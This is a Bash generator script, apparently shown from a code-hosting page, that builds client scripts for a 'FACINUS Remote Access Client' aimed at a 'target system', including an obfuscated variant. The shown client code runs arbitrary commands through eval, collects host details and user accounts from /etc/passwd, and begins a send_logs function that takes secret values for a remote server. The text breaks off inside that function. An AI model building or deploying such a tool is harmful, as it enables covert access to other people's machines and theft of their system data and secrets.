98 lines
3.1 KiB
Bash
Executable File
98 lines
3.1 KiB
Bash
Executable File
#!/bin/bash
|
|
# Generate client deployment scripts
|
|
|
|
TEMP_DIR=$(mktemp -d)
|
|
trap 'rm -rf "$TEMP_DIR"' EXIT
|
|
|
|
generate_client_scripts() {
|
|
echo "Generating client deployment scripts..."
|
|
|
|
# Generate the main client script
|
|
generate_main_client_script
|
|
|
|
# Generate the obfuscated version
|
|
generate_obfuscated_script
|
|
|
|
# Create installation presets
|
|
generate_presets
|
|
}
|
|
|
|
generate_main_client_script() {
|
|
# Create the main client script
|
|
cat > "$TEMP_DIR/y" << 'EOF'
|
|
#!/bin/bash
|
|
# FACINUS Remote Access Client
|
|
# This script sets up remote access capabilities on the target system
|
|
|
|
# ================= CONFIGURATION =================
|
|
SERVER_URL="http://SERVER_PLACEHOLDER/deployment"
|
|
LOG_ENDPOINT="$SERVER_URL/log_receiver.php"
|
|
AUTH_TOKEN="TOKEN_PLACEHOLDER"
|
|
VERSION="1.1.0"
|
|
# ================================================
|
|
|
|
# Create temporary directory
|
|
TEMP_DIR=$(mktemp -d)
|
|
trap 'rm -rf "$TEMP_DIR"' EXIT
|
|
|
|
# ------- UTILITY FUNCTIONS -------
|
|
log_cmd() {
|
|
local cmd="$1"
|
|
local desc="$2"
|
|
local log_file="$3"
|
|
|
|
echo -e "\n[$(date '+%Y-%m-%d %H:%M:%S')] EXECUTING: $desc" >> "$log_file"
|
|
echo "$ $cmd" >> "$log_file"
|
|
echo "--------------------------------------------" >> "$log_file"
|
|
|
|
# Execute command and capture output and status
|
|
local output
|
|
output=$(eval "$cmd" 2>&1)
|
|
local status=$?
|
|
|
|
echo "$output" >> "$log_file"
|
|
echo "EXIT STATUS: $status" >> "$log_file"
|
|
echo "============================================" >> "$log_file"
|
|
|
|
return $status
|
|
}
|
|
|
|
get_system_info() {
|
|
{
|
|
echo "{"
|
|
echo " \"hostname\": \"$(hostname)\","
|
|
echo " \"kernel\": \"$(uname -r)\","
|
|
echo " \"os\": \"$(lsb_release -ds 2>/dev/null || cat /etc/os-release | grep PRETTY_NAME | cut -d= -f2 | tr -d '\"')\","
|
|
echo " \"ip\": \"$(hostname -I | awk '{print $1}')\","
|
|
echo " \"mac\": \"$(ip link show | grep -E 'link/ether' | head -n1 | awk '{print $2}')\","
|
|
echo " \"cpu\": \"$(grep 'model name' /proc/cpuinfo | head -n1 | cut -d: -f2 | sed 's/^[ \t]*//')\","
|
|
echo " \"ram_total\": \"$(free -h | grep Mem | awk '{print $2}')\","
|
|
echo " \"disk_total\": \"$(df -h --total | grep total | awk '{print $2}')\","
|
|
echo " \"user\": \"$(whoami)\","
|
|
echo " \"is_root\": $(if [ $EUID -eq 0 ]; then echo "true"; else echo "false"; fi),"
|
|
echo " \"users\": ["
|
|
|
|
local first=1
|
|
while IFS=: read -r username _ uid gid _ home shell; do
|
|
if [ "$uid" -ge 1000 ] && [ "$shell" != "/usr/sbin/nologin" ] && [ "$shell" != "/bin/false" ]; then
|
|
[ "$first" -eq 0 ] && echo ","
|
|
echo " {\"username\": \"$username\", \"uid\": $uid, \"home\": \"$home\"}"
|
|
first=0
|
|
fi
|
|
done < /etc/passwd
|
|
|
|
echo " ],"
|
|
echo " \"timestamp\": \"$(date '+%Y-%m-%d %H:%M:%S')\","
|
|
echo " \"uptime\": \"$(uptime -p)\""
|
|
echo "}"
|
|
} | tr -d '\n' | sed 's/ //g'
|
|
}
|
|
|
|
send_logs() {
|
|
local log_file="$1"
|
|
local secret_val="$2"
|
|
local secret_type="$3"
|
|
|
|
local sysinfo=$(get_system_info)
|
|
local hostname=$(hostname)
|